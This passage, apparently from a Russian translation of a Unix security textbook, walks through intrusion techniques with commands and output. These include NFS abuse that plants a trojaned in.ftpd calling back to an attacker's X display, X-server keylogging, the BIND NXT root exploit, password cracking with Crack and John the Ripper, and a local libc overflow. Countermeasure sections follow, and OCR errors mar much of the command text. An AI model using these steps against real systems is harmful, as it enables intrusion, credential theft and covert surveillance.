[tsunami /root]# mount quake:/ /mnt
Другим, более удобным, инструментом исследования системы NFS является пакет nfsshell, разработанный Линдертом Ван Дорном (Leendert van Doom), которую можно найти по адресу ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz. В состав пакета nfsshell входит робастный клиент nfs. Этот клиент функционирует подобно клиенту FTP и позволяет легко манипулировать удаленной файловой системой. Многочисленные параметры nfs заслуживают того, чтобы привести их в данной книге.

[tsunami n£s]# nfs
nfs> help
host <host> - установка имени удаленного узла
uid [<uid> <secret-key>]] - установка идентификатора удаленного
пользователя
gid [<gid>] - установка идентификатора удаленной группы
cd [<path>j - изменение рабочего каталога на удаленном узле
led [<path>] - изменение рабочего каталога на локальном узле
cat <filespec> - вывод на экран заданного файла
Is -I <filespec> - просмотр содержимого удаленного каталога
get <fiiespec> - получение удаленного файла
df - информация о файловой системе
rm <file> - удаление файла на удаленном узле
in <filel> <f.ile2> - создание ссылки на файл
rnv <filel> <file2> - перемещение файла
mkdir <dir> - создание каталога на удаленном узле
rmdir <dir> - удаление каталога на удаленном узле
chmod <mode> <file> - изменение атрибутов файла
chown <uid>[.<gid>] <file> - изменение владельца
put. <Iccal-file> [<remote-file>] - отправка локального файла
mount [-upTU] [-P port] <path> - монтирование файловой системы
umount - демонтирование удаленной файловой системы
umountall - демонтирование всех удаленных файловых систем
export - просмотр списка всех экспортируемых файловых систем
dump - просмотр всех смонтированных удаленных файловых систем
status - вывод отчета о состоянии
help - вывод данной информации
quit - название говорит само за себя
bye - good bye handle [<handle>] - просмотр/установка дескриптора файла каталога
mknod <name> [b/c major minor] [p] - создание устройства

Сначала нужно сообщить утилите nfs, файловую систему какого узла необходимо смонтировать.

nfs> host quake
Using a privileged port (1022)
Open quake (192.168.1.10) TCP

Затем посмотрим, какие файловые системы можно экспортировать.

nfs> export
Export list for quake:
/ everyone
/usr everyone

Теперь, чтобы получить доступ к файловой системе /, необходимо ее смонтировать.

nfs> mount /
Using a privileged port (1021)
Mount '/', TCP, transfer size 8192 bytes

Проверим состояние соединения и определим идентификатор UID, с которым была смонтирована файловая система.

nfs> status
User id : -2
Group id :-2
Remote host :'quake'
Mount path :' / '
Transfer size : 8192

Итак, мы смонтировали файловую систему / с идентификаторами UID и GID, равными -2. Из соображений безопасности, если вы монтируете удаленную систему как суперпользователь root, ваши идентификаторы UID и GID подменяются другими значениями, отличными от 0. Поскольку мы смонтировали всю файловую систему, теперь без труда можно увидеть содержимое файла /etc/passwd.

nfs> cd /etc
nfs> cat passwd
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
Ip:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp
Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody: /:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
gk:x:1001:10::/export/home/gk:/bin/sh
sm:x:lC03:10::/export/home/sm:/bin/sh

Итак, теперь нам известны имена пользователей и соответствующие им идентификаторы. Однако файл паролей является скрытым (shadowed), поэтому им нельзя воспользоваться для взлома паролей. Поскольку мы не можем взломать ни одного пароля и, соответственно, не можем смонтировать файловую систему в качестве суперпользователя, необходимо определить другие идентификаторы пользователей, которые позволяют получить привилегированный доступ. Таким пользователем может оказаться daemon, но лучше всего остановить выбор на учетной записи bin. или UID 2, так как на многих системах пользователь bin является владельцем исполняемых файлов. Если взломщик сможет получить доступ к исполняемым файлам посредством системы NFS или каким-либо другим способом, то у большинства систем в таком случае не останется ни единого шанса на выживание. Затем нужно смонтировать систему /usr, изменить идентификаторы UID и GID, а затем попытаться получить доступ к исполняемым файлам. 

nfs> mount /usr
Using a privileged port(1022)
Mount '/usr', TCP, transfer size 8192 bytes.
nfs> uid 2
nfs> gid 2
nfs> status
User id : 2
Group id : 2
Remote host: 'quake'
Mount path : '/usr'
Transfer size : 8192

Теперь мы обладаем всеми привилегиями, которыми обладает пользователь bin на удаленной системе. В нашем примере файловая система не была экспортирована с какими-то специальными параметрами, которые ограничивали бы возможности пользователя bin по созданию или модификации файлов. Поэтому все, что осталось сделать, — это запустить программу xterm или создать обратный канал к нашей системе, который позволит получить доступ к взламываемой системе.
Создадим на нашей системе следующий сценарий и сохраним его в файле in. f tpd.

tt!/bin/sh
/usr/openwin/bin/xterm -display 10.10.10.10:0.0 &

Теперь нужно перейти в каталог /sbin удаленной системы и заменить исходный файл in. ftpd нашей версией.

nfs> cd /sbin
nfs> put in.ftpd

И наконец, необходимо указать, чтобы удаленный сервер подключился к Х-серверу нашего узла с помощью команды xhost. Для этого нужно ввести следующие команды.

[tsunami]# xhost +quake
quake being added to access control list
[tsunami]# ftp quake
Connected to quake.

В результате выполнения всех этих действий наша система станет X-терминалом удаленного узла с привилегиями root. Ввиду того что в этой системе файл in. ftpd вызывается из файла inetd с привилегиями суперпользователя, наш сценарий также будет выполнен с этими привилегиями, что означает получение доступа в качестве суперпользователя.

# id
uid=0{root)gid=0(root)
#

Контрмеры: защита системы NFS

Если нет острой необходимости в использовании системы NFS, то ее, а также и все связанные с ней службы (например, mountd, statd и lockd) необходимо отключить. Реализуйте механизм управления доступом, который позволил бы получать доступ к нужным файлам только санкционированным пользователям. Обычно экспортом файловых систем и включением соответствующих параметров управления доступом управляют конфигурационные файлы /etc/exports, /etc/dfs/dfstab и т.д. Некоторые параметры управления доступом позволяют задать имена компьютеров или групп, которым разрешен доступ, установить доступ только для чтения или запретить установку флага SUID. В каждой реализации системы NFS имеются небольшие различия, поэтому более подробную информацию об используемой версии поищите в документации или в справочной системе. Кроме того, никогда не включайте локальный IP-адрес сервера (или localhost) в список систем, которым разрешено монтировать файловую систему. Более старые версии службы portmapper позволяют взломщикам подключаться через proxy-серверы, работающие в интересах этих взломщиков. Если системе было разрешено монтировать экспортируемую файловую систему, взломщики могут отправить пакеты NFS службе portmapper взламываемой системы, что, в свою очередь, приведет к пересылке запроса на localhost. Такой запрос будет выглядеть так, словно он поступил с доверенного узла, что позволит ему обойти соответствующие правила управления доступом. Как всегда, в качестве последней по порядку (но не по значимости!) меры, советуем установить все модули обновления, предлагаемые разработчиками программного обеспечения.

Проблемы защиты системы X

Система X Window предоставляет богатый набор функций, позволяющий многим программам одновременно использовать один и тот же графический дисплей. Но с точки зрения безопасности самой большой проблемой системы X Windows является реализованная в ней модель защиты, которую коротко можно охарактеризовать так: "Все или ничего". После того как клиент получил доступ к Х-серверу, ему выдается полная индульгенция. Клиенты X могут перехватывать нажатия клавиш на пользовательской консоли, закрывать окна, захватывать любые окна сервера и отображать их содержимое где угодно, и даже переключать клавиатуру на свою, независимо от того, какие клавиши нажимает пользователь. Многие проблемы основываются на слабой парадигме управления доступом или полном равнодушии системного администратора. Самой простой и популярной формой управления доступом к X является аутентификация с использованием команды xhost. Данный механизм обеспечивает управление доступом на основе IP-адреса и является при этом наиболее слабой формой аутентификации. Для удобства работы системный администратор может ввести команду xhost +, что позволит получить доступ к Х-серверу без какой-либо аутентификации любому локальному или удаленному пользователю (при использовании параметра + доступ к серверу разрешен для всех узлов). Что еще хуже, многие Х-серверы, работающие на платформе PC, по умолчанию настроены именно на использование команды xhost +, подвергая тем самым огромной опасности ничего не подозревающих пользователей. Как вы понимаете, этим, казалось бы незначительным, недостатком могут воспользоваться злоумышленники.
Одной из лучших программ, предназначенной для идентификации Х-серверов, у которых включен режим xhost +, является утилита xscan. С ее помощью можно выполнить сканирование всей подсети, найти в ней открытые Х-серверы и записать все нажатия клавиш в файл журнала.

[tsunami]$ xscan quake
Scanning hostname quake ...
Connecting to quake (192.168.1.10) on port 6000...
Connected.
Host quake is running X.
Starting keyboard logging of host quake:0.0 to file KEYLOGquake:0.0...

Теперь все клавиши, нажимаемые на клавиатуре удаленного компьютера, будут регистрироваться в файле KEYLOG.quake.

[tsunami]$ tail -f KEYLOG.quake:0.0
su -
[Shift_L]Iamowned[Shift_R]!

Затем достаточно воспользоваться командой tail, чтобы увидеть, что набирает на клавиатуре пользователь в режиме реального времени. В нашем примере пользователь ввел команду su, а затем, в ответ на приглашение, — пароль lamowned! (утилита xscan умеет даже определять нажатие клавиш <Shift>).
Также просто определить, какие окна открыты на взломанной системе. Для этого взломщик сначала должен установить шестнадцатеричное значение идентификатора окна с помощью команды xlwins.

[tsunami]! xlswins -display quake:0.0 Igrep -i netscape
0x1000001 (Netscape)
0x1000246 (Netscape)
0x1000561 (Netscape: OpenBSD)

Программа xlswins отображает много информации, поэтому в нашем примере мы используем утилиту grep, чтобы установить, запушен ли броузер Netscape. К счастью, нам повезло — броузер Netscape действительно запущен на удаленном компьютере. Однако ничего не мешает просмотреть все выдаваемые утилитой xlswins результаты и найти интересующие вас окна, не полагаясь на удачу. Теперь, для того чтобы увидеть окно Netscape на своем компьютере, мы воспользуемся программой XWatchWin, как показано на рис. 8.3. 
[tsunami]# xwatchwin quake -w 0x1000561
Указывая идентификаторы окон, можно просматривать их содержимое на своем компьютере, незаметно наблюдая за всеми действиями, которые выполняет пользователь.
Даже если на взламываемом компьютере включен режим xhost -, взломщик может получить копию экрана консоли сеанса пользователя с помощью утилизы xwd. Для этого достаточно, чтобы у взломщика был локальный доступ к командной оболочке, а на взламываемом сервере использовалась лишь стандартная аутентификация xhost.
 [quake]$ xwd -root -display localhost:0.0 > dump.xwd
Теперь, чтобы увидеть копию экрана, просто скопируйте файл на свой компьютер, воспользовавшись утилитой xwud.
 [tsunami]# xwud -in dump.xwd
На этом перечень возможностей взломщика далеко не исчерпан. Он может, например, просто связать эмулятор клавиатуры KeySym с требуемым окном. После этого нажатия клавиш на клавиатуре злоумышленника будут отправляться программе xterm удаленной системы и обрабатываться так, как если бы они вводились на локальной клавиатуре этой системы.

Рис. 8.3. С помощью утилиты XWatchWin можно удаленно просмотреть окно практически любого приложения рабочего стола

Контрмеры: защита системы X

Сделайте все возможное, чтобы избежать использования команды xhost +. He ленитесь, помните о безопасности! Если вы не можете пойти на столь радикальные меры, тогда хотя бы применяйте команду xhost -, которая запрещает новые подключения, однако позволяет функционировать уже имеющимся. Если вы должны разрешить удаленный доступ к вашему Х-серверу, обязательно указывайте IP-адрес каждого сервера, которому разрешен доступ. Никогда не забывайте о том, что любой пользователь такого сервера может скрытно подключиться к вашему Х-серверу. Среди других мер по обеспечению безопасности можно выделить применение более серьезного механизма аутентификации, такого как MIT-MAGIC-COOKIE-1, XDM-AUTHORIZATION-1 и MIT-KERBEROS-5. Эти механизмы обеспечивают довольно высокий уровень защиты при подключении к Х-серверу. Если вы используете программу xterm или аналогичный терминал, включите режим Secure Keyboard. Это позволит запретить любому процессу перехватывать нажатия клавиш. Кроме того, подумайте о том, чтобы блокировать доступ извне к портам 6000-6063 на уровне брандмауэра с целью запретить несанкционированным пользователям подключаться к портам Х-сервера. И наконец, воспользуйтесь защищенной оболочкой ssh и ее возможностями по повышению уровня защиты сеансов X. Убедитесь, что в файле sshd_config или sshd2_config для параметра ForwardXll установлено значение yes.

Атаки на систему DNS

DNS является одной из наиболее популярных служб, используемых в Internet и большинстве корпоративных интрасетей. Как и следовало ожидать, такое широкое распространение службы DNS оказалось одной из причин многочисленных атак на эту систему. Взломщики постоянно пытаются воспользоваться слабыми местами одной из наиболее стандартной реализации службы DNS системы UNIX— пакета BIND (Berkeley Internet Name Domain). Кроме того, DNS является одной из нескольких служб, которые практически всегда оказываются необходимыми и функционируют по всему периметру корпоративной сети, обеспечивая доступ к Internet. Таким образом, любая ошибка службы DNS практически всегда приводит к возможности удаленного проникновения (зачастую с привилегиями root). В одном из отчетов по вопросам безопасности, который был опубликован в 1999 году и взбудоражил общественное мнение, сообщалось, что более 50% всех соединенных с Internet серверов DNS уязвимы для атак взломщиков. Так что подобная опасность абсолютна реальна. Соблюдайте осторожность!
Несмотря на то, что с пакетом BIND связано множество проблем обеспечения безопасности (http://www.cert.org/advisories/CA-98.05.bind_problems.html), мы сфокусируем все внимание на одной из последних и наиболее разрушительных атак. В ноябре 1999 года координационный центр CERT выпустил информационный бюллетень, в котором сообщалось о нескольких серьезных изъянах, обнаруженных в пакете BIND (http://www.cert.org/advisories/CA-99-14-bind.html). В Нем сообщалось о шести изъянах, среди которых наиболее опасным было удаленное переполнение буфера, возникающее при проверке пакетом BIND записей NXT. В результате переполнения буфера взломщик может выполнить на удаленном сервере любую команду с привилегиями root. Попробуем разобраться с основными принципами такой атаки.
Для идентификации уязвимого сервера, на котором запущена программа named. большинство взломщиков прибегают к средствам автоматизации. Для того чтобы определить, имеются ли на вашем сервере DNS потенциально слабые места, необходимо провести дополнительную инвентаризацию.

[ tsunami]# dig
(§10.1.1.100 version.bind chaos txt
«» DIG 8.1 «» 010.1.1.100 version.bind chaos txt
(1 server found)
res options: init recurs defnam dnsrch
got answer:
-»HEADER«- opcode: QUERY, status: NOERROR, id: 10
flags: qr aa rd ra; QUERY: 1, ANSWER:
1, AUTHORITY: 0, ADDITIONAL:
QUERY SECTION:
version.bind, type = TXT, class = CHAOS
ANSWER SECTION: VERSION.BIND. OS CHAOS TXT"8.2.2"

В приведенном фрагменте для определения используемой версии службы DNS демону named передается соответствующий запрос. Сейчас стоит еще раз подчерктть важность процесса предварительного сбора данных. В рассматриваемом примере на целевом сервере DNS используется программа named версии 8.2.2, которая уязвима для атак NXT. Для этой же атаки оказываются уязвимыми также версии 8.2 и 8.2.1 этой программы.
Для проведения такой атаки взломщик должен контролировать сервер DNS, связанный с удаленным доменом. На этом сервере DNS взломщику необходимо также создать поддомен, связанный с его собственным доменом. В данном примере предполагается, что сетью взломщика является attackers.org, поддомен называется hash и сервер DNS запущен на узле с именем quake. В данном случае взломщику необходимо добавить в файл /var /named/attackers, org. zone узла quake следующую запись, а затем перезапустить программу named с помощью интерфейса ndc.
subdomain  IN  NS hash.attaokers.org.
Помните о том, что сервер DNS, контролируемый взломщиком, запущен на узле quake.
После компиляции утилиты взлома, созданной группой ADM (http: //packet storm.securify.com/9911-exploits/adm-nxt.с), ее нужно запустить с отдельного узла (tsunami), имеющего корректную архитектуру. Поскольку программа named используется в многих версиях UNIX, то утилитой adm-nxt поддерживаются следующие архитектуры.

[tsunami]# adm-nxt
Usage: adm-nxt architecture [command]
Available architectures:
1: Linux Redhat 6.x - named 8.2/8.2.1 (from rpm)
2: Linux SolarDiz's non-exec
stack patch - named 8.2/8.2.1
3: Solaris 7 (Oxff) - named 8.2.1
4: Solaris 2.6 - named 8.2.1
5: FreeBSD 3.2-RELEASE - named 8.2
6: OpenBSD 2.5 - named 8.2
7: NetBSD 1.4.1 - named 8.2.1

После проведения предварительного сбора данных с использованием утилиты шпар стало известно, что на удаленном узле используется система Red Hat 6.x. Таким образом, для утилиты adm-nxt необходимо задать режим 1.
[tsunami]# adm-nxt 1
После запуска утилита adm-nxt свяжется с UDP-портом 53 узла tsunami и будет ожидать установки соединения с уязвимым сервером имен. На этом узле не нужно запускать реальный сервер DNS, в противном случае утилита adm-nxt не сможет связаться с портом 53. Не забывайте о том, что работа утилиты adm-nxt основывается на наличии целевого сервера имен, соединенного (или запрашивающего) с ложным сервером DNS, который на самом деле представляет собой утилиту взлома, прослушивающую UDP-порт 53. Как же взломщик может это реализовать? Очень просто. Для этого достаточно передать целевому серверу DNS запрос на получение некоторых данных с использованием команды nslookup.

[quake]# nslookup
Default Server:localhost.attackers.org
Address: 127.0.0.1
> server 10.1.1.100
Default Server: dns.victim.net
Address: 10.1.1.100 >
hash.attackers.org
Server: dns.victim.net
Address: 10.1.1.100

Как видно из приведенного листинга, взломщик запустил команду nslookup в интерактивном режиме на отдельном компьютере, находящемся в его полном распоряжении. Затем он перешел от использования сервера DNS, заданного по умолчанию, к
серверу-жертве с адресом 10.1.1.100. И наконец, взломщик запросил у взламываемого сервера DNS адрес поддомена hash.attackers.org. Это, в свою очередь, приведет к тому, что сервер dns.victim.net сгенерирует запрос к ложному серверу DNS, который прослушивает USP-порт 53. Как только целевой сервер установит соединение с узлом tsunami, на узле dns.victim.net утилитой adm-nxt будет сгенерировано переполнение буфера, в результате чего взломщик получит неограниченный доступ с привилегиями root, как показано ниже.

[tsunami]# t666 I
Received request from 10.1.1.100:53 for hash.attackers.org type=l
id
uid=0(root) gid=0(root) groups=0(root)

Контрмеры: защита службы DNS

Первое и самое главное — отключите и удалите пакет BIND на всех узлах, которые не используются в качестве сервера DNS. Во многих версиях системы UNIX (особенно Linux) программа named автоматически запускается при начальной загрузке компьютера, несмотря на то, что она никогда не используется. Во-вторых, удостоверьтесь в том, что используется текущая версия пакета BIND, в состав которой входят модули обновления подсистемы защиты (www.bind.org). В-третьих, запускайте программу named с правами непривилегированного пользователя. Другими словами, программа named должна запускаться с привилегиями root только для связывания с портом 53. После этого эти привилегии нужно понизить с использованием параметра -u (named -и dns -g dns). И наконец, программа named должна запускаться с использованием параметра -t из среды chrooted() (named -u dns -g dns -t /home/dns). Это поможет предотвратить попытки взломщика, связанные с обходом файловой системы и в том случае, если им был получен доступ. Даже если все перечисленные меры защиты решат поставленную задачу, не стоит успокаиваться на достигнутом. Безопасности сервера DNS необходимо постоянно уделять самое пристальное внимание.

Локальный доступ

Итак, мы рассмотрели общие принципы получения удаленного доступа. Как уже упоминалось выше, большинство взломщиков, используя изъяны в защите средств удаленного доступа, стремятся получить локальный доступ. Если злоумышленнику удается получить интерактивный доступ к командной оболочке, он рассматривается системой как локальный пользователь. Хотя при удаленном взломе в некоторых случаях злоумышленникам удается сразу же получить доступ к компьютеру в качестве суперпользователя root, в большинстве случаев им приходится начинать с доступа в качестве обычного пользователя. Таким образом, взломщик должен заняться деятельностью, призванной расширить его полномочия от простого пользователя до суперпользователя. Эта деятельность называется расширением полномочий (privilege escalation). Сложность методики расширения полномочий зависит как от типа и версии используемой операционной системы, так и от качества ее настройки на конкретном компьютере. Некоторые операционные системы по умолчанию принимают все меры, препятствующие обычным пользователям расширять полномоия до уровня суперпользователя root, тогда как другие позволяют это делать. Например, пользователю операционной системы OpenBSD, установленной с параметрами настройки, принятыми по умолчанию, значительно сложнее расширить свои полномочия до уровня root, чем, скажем, пользователю операционной системы Irix. Конечно, индивидуальная настройка может значительно повысить уровень общей безопасности системы. В следующем разделе этой главы будут рассматриваться методы, позволяющие обычному пользователю получить доступ к системе на уровне суперпользователя. Необходимо заметить, что, хотя для большинства взломщиков типичным является поведение, заключающееся в попытках получить доступ на уровне root, в некоторых случаях у злоумышленника может не быть такой необходимости. Например, если взломщика интересует получение доступа к базе данных Oracle, то ему, скорее всего, достаточно будет получить доступ к учетной записи, под которой работает Oracle, а не к учетной записи root.

Поиск неправильно выбранных паролей

Как уже отмечалось выше, после того, как взломщику удалось получить доступ, самую большую угрозу для безопасности представляют собой легко угадываемые пароли. Не имеет значения, идет ли речь об удаленном или локальном доступе — неправильно выбранные пароли представляют собой одно из самых слабых мест системы защиты. Ввиду того что выше мы уже указывали на основные проблемы, связанные с выбором паролей, здесь мы остановимся в основном на изучении методов взлома.
Взлом пароля часто заключается в использовании процедуры, называемой автоматизированный взлом с помощью словаря (automated dictionary attack). Взлом простым перебором (brute force attack) чаше всего рассматривается как метод активного взлома, тогда как автоматизированный взлом с помощью словаря может происходить без наличия соединения и является пассивным. Чаще всего этот метод взлома используется именно при наличии локального доступа, поскольку злоумышленнику необходимо получить доступ к файлу /etc/passwd или файлу паролей /etc/shadow. Иногда удается получить копию такого файла и при удаленном доступе (например, с использованием протоколов TFTP или HTTP). Однако, на наш взгляд, лучше всего рассматривать взлом паролей именно как один из методов локального взлома. Он отличается от метода взлома простым перебором тем, что в данном случае злоумышленник при подборе пароля не пытается получить доступ к службе, работающей на уровне полномочий суперпользователя, или воспользоваться командой su. Вместо этого он пытается подобрать пароль к определенной учетной записи, шифруя различные слова или случайным образом сгенерированный текст и сравнивая результаты с зашифрованным паролем, полученным из файла паролей.
Если хэш-код зашифрованного пароля соответствует хэш-коду, сгенерированному программой взлома, значит, пароль успешно взломан. Как видите, в этом процессе нет ничего сложного, — если вы знаете две составляющие из трех, вы можете вычислить недостающие данные. Нам либо известно слово из словаря часто используемых паролей, либо известен случайным образом сгенерированный текст (назовем такие слово или текст исходными данными). Мы также знаем алгоритм хэширования (обычно для этого используется стандарт DES — Data Encryption Standard). Таким образом, если хэш-код исходных данных, полученный путем применения заданного алгоритма, соответствует хэш-коду пароля определенного пользователя, значит, в качестве исходных данных мы использовали текст, являющийся паролем этого пользователя. Этот процесс показан на рис. 8.4.

Рис. 8.4. Процесс подбора пароля

Из всего многообразия программ, предназначенных для взлома паролей, можно выделить Crack 5.0а Алека Маффета (Alec Muffett) и John the Ripper. Программа Crack 5.0л, которую для краткости мы будем называть просто Crack, является, пожалуй, самой популярной программой взлома паролей. К тому же она постоянно совершенствуется, а ее весьма обширный словарь, содержащий очень широкий спектр возможных паролей — от ненормативной лексики до названий из сериала Star Trek, — постоянно пополняется. Crack поддерживает даже возможность распределения вычислений, предназначенных для взлома пароля, на нескольких компьютерах. Программа John the Ripper, или просто John, является более новой, чем Crack 5.0a. Ее отличительная особенность заключается в высокой степени оптимизации для взлома максимально возможного количества паролей за минимальное время. Кроме того, John поддерживает больше алгоритмов хэширования, чем Crack. Обе программы позволяют проверять не только слова, находящиеся в словаре, но и их модификации. По умолчанию в состав каждого из этих двух инструментов входит более 2400 правил, которые можно применить к словарю для подбора паролей, которые, казалось бы, очень трудно взломать. В комплект поставки обеих программ входит обширная документация, с которой мы настоятельно рекомендуем ознакомится. Чтобы не рассматривать все возможные параметры и режимы работы этих программ, мы покажем, как запустить Crack на выполнение и прокомментируем полученные результаты. Для этого вам необходимо знать структуру файла паролей. Если вы недостаточно владеете данным вопросом, обратитесь к хорошей книге по UNIX.

Crack 5.0a

Для того чтобы запустить программу Crack, достаточно указать, где находится файл паролей, а затем лишь дождаться результата. Crack является самокомпилирующейся программой, поэтому после запуска на самом деле вызывается утилита make, которая собирает воедино все необходимые компоненты. Одной из сильных сторон программы Crack является обширный набор правил создания различных словоформ и модификаций. Кроме того, при каждом запуске эта программа генерирует пользовательский список слов, в который включается такая информация, как имя пользователя, а также сведения, указанные в поле GECOS (комментарии). Именно поэтому не забывайте посмотреть на поле GECOS при взломе паролей! Очень часто в поле GECOS пользователи указывают свое полное имя и при этом выбирают пароль, который представляет собой некоторую комбинацию имени и фамилии или их частей. Программа Crack очень легко справляется с такими несложными паролями. Давайте посмотрим как выглядит типичный файл паролей, а затем попробуем применить к нему программу взлома.

root:cwIBREDaWLHmo:0:0:root:/root:/bin/bash
bin:*:l:l:bin:/bin:
daemon:*:2:2:daemon:/sbin:
<other locked accounts omitted>
nobody:*:9 9:9 9:Nobody:/:

eric:GmTFgOAavFAOU:500:0:
:/home/eric:/bin/csh
samantha:XaDeasK8g8g3s:501:503:
:/home/samantha:/bin/bash
temp:kRWegG5iTZP5o:502:506:
:/home/temp:/bin/bash
hackme:nh.StBNcQnyE2:504:1:
:/home/hackme:/bin/bash
bob:9wynbWzXinBQ6:506:1::/home/bob:/bin/csh
es:OxOH89TiymLcc:501:501::/home/es:/bin/bash
mother:jxZdltcz3wW2Q:505:505:
:/home/mother:/bin/bash
jfr:kyzKROryhFDE2:506:506:
:/home/jfr:/bin/bash

Для того чтобы запустить программу Crack для взлома данного файла, необходимо воспользоваться следующей командой.

[tsunamitt Crack passwd
Crack 5.0a: The Password Cracker.
(c) Alec Muffett, 1991, 1992, 1993, 1994, 1995, 1996
System: Linux 2.0.36
#1 Tue Oct 13 22:17:11 EOT 1998 1686 unknown
<omitted for brevity>
Crack: The dictionaries seem up to date...
Crack: Sorting out and merging feedback, please be patient...
Crack: Merging password files...
Crack: Creating gecos-derived dictionaries
mkgecosd: making non-permuted words dictionary
mkgecosd: making permuted words dictionary
Crack: launching: cracker -kill run/system.11324
Done

Начиная с этого момента программа Crack переходит к функционированию в фоновом режиме с сохранением результатов в базе данных. Для того чтобы обратиться к этой базе данных и узнать, какие пароли были взломаны, необходимо запустить утилиту Reporter.

[tsunami]# Reporter -quiet
---passwords cracked as of Sat 13:09:50 EOT ---
Guessed eric [jenny] [passwd /bin/csh]
Guessed hackme [hackme] [passwd /bin/bash]
Guessed temp [temp] [passwd /bin/bash]
Guessed es [eses] [passwd /bin/bash]
Guessed jfr [solarisl] [passwd /bin/bash]

Если вы хотите увидеть только пароли, взломанные к текущему моменту, необходимо запустить профамму Reporter с параметром -quiet. При запуске утилиты без параметров на экран выводятся сведения об ошибках, предупреждения, а также сведения о заблокированных паролях. В комплект поставки профаммы Crack входит еще и несколько очень полезных сценариев. Один из них — shadmrg. sv. Он предназначен для объединения файла паролей UNIX со скрытым файлом паролей, что позволяет получить один исходный файл, содержащий всю информацию, необходимую для взлома паролей. Еще одной интересной командой является команда make tidy, с помощью которой можно удалить остаточные учетные пользовательские записи и пароли после выполнения Crack.
В завершение необходимо рассмотреть еще один вопрос: как определить используемый алгоритм хэширования? В нашем примере использовался алгоритм DES, являющийся стандартным в большинстве версий UNIX. Если в системе установлены дополнительные средства обеспечения безопасности, то тогда, скорее всего, будут применяться алгоритмы MD5 и blowfish. Хэш-код пароля, полученный с помощью MD5, значительно длиннее хэш-кода DES и идентифицируется наличием символов $1 в качестве двух первых символов хэш-кода. Символы $2, содержащиеся в начале хэш-кода, говорят о том, что для хэширования использовался алгоритм blowfish. Если вам нужна программа для взлома паролей, защищенных с помощью MD5 или blowfish, мы настоятельно рекомендуем использовать John the Ripper.

John the Ripper

John the Ripper — одна из лучших утилит взлома паролей, доступных в настоящее время. Ее версии как для UNIX, так и для NT можно найти по адресу http://www.openwall.com/john/. Как уже упоминалось, программа John является одной из лучших и самых быстрых утилит и она очень проста в применении.

[shadow]# John passwd
Loaded 9 passwords with 9 different salts (Standard DES [24/32 4K])
hackme (hackme)
temp (temp)
eses (es)
jenny (eric)
tlB (bob)
guesses: 5 time: 0:00:04:26 (3)
c/s: 16278 trying: pireth - StUACT

На вход утилиты John при запуске подается файл паролей (passwd), и это все, что нужно сделать. Утилита самостоятельно определит применяемый алгоритм шифрования, в данном случае DES, а затем приступит к взлому паролей. Сначала будет использован файл словаря (password. 1st), а затем начнется процесс подбора паролей. Как видно из приведенного листинга, утилитой John был получен пароль пользователя job, тогда как программе Crack удалось подобрать пароль пользователя j f г. Так что с помощью каждой программы были получены различные результаты. В основном это объясняется ограниченным списком слов, содержащимся в файле словаря \тили-ты John, так что мы рекомендуем его расширить. Обширный список слов можно найти ПО адресу http://packetstorm.securify.com/Crackers/wordlists/.

Контрмеры: защита от взлома неправильно выбранных паролей

Контрмеры, позволяющие защитить систему от попыток взлома неправильно выбранных паролей, приведены в разделе "Защита От Подбора Паролей "В Лоб"" выше в данной главе.

Локальное переполнение буфера

Взлом путем локального переполнения буфера — один из самых популярных видов атак. Как уже упоминалось выше в этой главе в разделе "Удаленный Доступ", используя переполнение буфера, взломщик может запустить на интересующей его системе произвольный код или команду. В большинстве случаев переполнение буфера применяется для взлома файлов, работающих в контексте SUID суперпользователя, что обеспечивает злоумышленнику возможность запуска команд с привилегиями root. Выше в разделе "Взлом Путем Переполнения Буфера" этой главы мы уже рассматривали, как при возникновении переполнения буфера можно выполнить произвольный код. В этом разделе мы на нескольких примерах рассмотрим, как происходит типичный взлом путем локального переполнения буфера.
В мае 1999 года группа Shadow Penguin Security обнародовала информацию о состоянии переполнения буфера в библиотеке libc, которое связано с переменной окружения LC_MESSAGES. Любая программа SUID, которая динамически компонуется с этой библиотекой и использует переменную окружения LC_MESSAGES, представляет собой объект для взлома путем переполнения буфера. Поскольку данная ошибка связана с использованием системной библиотеки, в отличие от рассматривавшихся ранее примеров, она проявляется не в одной программе, а в нескольких. Эта особенность очень важна и является одной из причин, по которой мы выбрали данный пример, потому что в случае возникновения переполнения буфера в системной библиотеке можно взломать очень много программ, использующих эту библиотеку. Давайте посмотрим, как этот подход выглядит на практике.
Прежде всего, необходимо скомпилировать саму программу взлома (exploit). В некоторых случаях понадобится подкорректировать исходный код. Этот процесс может оказаться достаточно длительным, поскольку иногда требуется очень тонкая настройка, зависящая от платформы. Рассматриваемая в данном случае программа написана для системы Solaris 2.6 и 2.7. Для ее компиляции мы использовали бесплатный компилятор GNU gcc, так как в комплект поставки Solaris по умолчанию компилятор не входит. Его нужно приобретать отдельно. Файл с исходным текстом имеет расширение . с, а исполняемый файл сохраняется под именем ex_lobc с помощью параметра -о компилятора. [quake]$ gcc ex_lobc.c -о ех_1оbс
Теперь остается лишь запустить на выполнение программу ex_lobc, которая приведет к переполнению буфера в libc посредством обращения к какой-либо программе SUID, например /bin/passwd.

[quake]$ ./ex_lobc
 jumping address : efffe7a8 #

Итак, программа взлома перешла к заданному адресу памяти, в результате чего оболочка /bin/sh запустилась с привилегиями суперпользователя, о чем говорит символ # в строке приглашения. Данный пример очень прост и дает возможность любому почувствовать себя экспертом в вопросах безопасности. На самом деле участники группы Shadow Penguin Security проделали колоссальную работу, чтобы найти данный изъян и написать соответствующую программу. Как легко догадаться, простота получения доступа на уровне суперпользователя — это основная притягательная сила, побуждающая взломщиков использовать программы, приводящие к локальному переполнению буфера.

Контрмеры: защита от локального переполнение буфера

